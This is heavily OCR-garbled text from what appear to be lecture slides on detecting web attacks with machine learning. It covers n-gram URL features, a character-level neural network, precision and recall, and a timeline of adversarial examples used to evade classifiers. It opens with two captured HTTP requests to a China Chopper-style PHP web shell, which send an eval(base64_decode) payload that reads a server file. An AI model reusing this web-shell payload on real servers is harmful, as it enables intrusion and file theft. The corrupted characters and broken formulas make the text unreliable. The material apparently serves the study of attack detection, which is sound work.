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Wireshark - =g HT TP 3t (tcp.stream eq 35) + caidao-done

POST /=7.php HTTP/1.1

X-Forwarded-For: 180.76.63.42

Content-Type: application/x—www—form—-urlencoded

Referer: http://192.168.199.248/

User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.199.248

Content-Length: 495

Connection: Close

Cache-Control: no—-cache

—7=%48eval%sBl1%28basebd_decode%s28%24 POSTH5Bz0%5D
%29%29%3B&20=0GLuaV9zZXQoImRpc3BsYXLfZXIyb3])zIliwiMCIp0@BzZXRfdGltZVIsaWlpdCawKTtAC2
VeX21hZ21jX3F1b3R1c19ydwW50awWl lKDApO2ViaGBoIlid%s2BTfCIp0zskR] 1nZXRTbWFnawNfcXVvdGVzX2d
wYygpP3N@cmlwe2xhc2hleygkX1BPUIRbINoxI1@p0iRfUESTVFsiej EiXTskZnA9QGZvcGVUKCRGLCIyId
k7aWYoQGZnZXRjKCRmcCkpe@BmY2xvc2UolGZwKTtAcmVhZGZpbGUoJEYp0311bHN1e2VjaGBoIkVSUKISO
i8vIENhbiBOb3QgUmVhZCIp0307ZWNobygifDwtIik7ZGL1KCKk7&z1=%2Fhome%2 Fwwwroot%2Fdefault
%2Fsqli-labs%2FLess—-1%2Findex. phpHTTP/1.1 200 OK
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Wireshark - j8i&x HTTP ji (tcp.stream eq 35) - caidao-done

POST /-7.php HTTP/1.1
X-Forwarded-For: 180.76.63.42
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.199.248/
User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1)
e |JURL Decode Host: 192.168.199.248
Content-Length: 495
Connection: Close
ﬁ’éﬁi’jﬁf, Cache-Control: no-cache
—7=%48eval%@1%28basebd_decode%28%24_ POST%5Bz0%5D
%29%29%3B&z0=0G1luaV9zZXQoImRpc3BsYX1fZXIyb3]zIiwiMCIp0@BzZXRfdG1tZVIsawWlpdCgwKTtAC2
+k NV VOX21hZ21jX3F1b3R1c19ydW5@aWl LKDApO2VjaGBolif%s2BfCIp0zskRj1nZXRTbWFnaWNTcXVvdGVzX2d
. EEiiﬁézjz;§L wYygpP3N@cmlwec2xhc2ZhleygkX1BPULRbINoxI1@p0iRfUEITVFsiejEAXTsKZnA9QGZveGVUKCRGLCIYId
k7aWYoQGZnZXRjKCRmcCkpe@BmY2xvc2UolGZwKTtACmVhZGZpbGUoJEYpO0311bHN1e2VjaGBoIkVSUKISO
i8vIENhbiBOb3QgUmVhZCIp03@7ZWNobygifDWwtIik7ZGLIKCK7&Zz1=%2Fhome%2Fwwwroot%2Fdefault
%EFE 11 labs%2FLess-1%2Findex.phpHTTP/1.1 200 0K
ik e o
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e N-Gram : XXX ARS8, WE—1KEANNELD, &EXALE
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FRFZR3-gram

o JRIAXZN : hello xkungfoo

o AT : [hel, ell, llo, lo, o x, xk, xku, kun, ung, ngf, gfo, foo]
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Input URL {truncated at maximum-length 100 characters)
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Character embedding layer (32 dimensions)
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256 2-langth 256 3-langth
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Fully connected relu layer (1024 units)

SR e dropoutZ%y : 0.5 Bateh normalzation
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Fully connected relu layer (1024 units)

Batch normakzation

Dropout, 0.5

Fully connected relu layer (1 unit)







relevant elements

1

true negatives
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selected elements
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How many selected How many relevant
items are relevant? items are selected?

precision - recall

1 precision + recall

recall I.:I."I.':l:iEiiﬂll
Precision = Recall = ———

SR ¢

precision - recall

Fg = (1+6%)-
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Adversarial Examples

M

Timeline:

*Adversarial Classification” Dalvi et al 2004: fool spam filter
“Evasion Attacks Against Machine Learning at Test Time”
Biggio 2013: fool neural nets

Szegedy et al 2013: fool ImagelNet classifiers imperceptioly

Goodfellow et afNalellal=l@iaiclg=itlaleRisllsls DR (s =18 1
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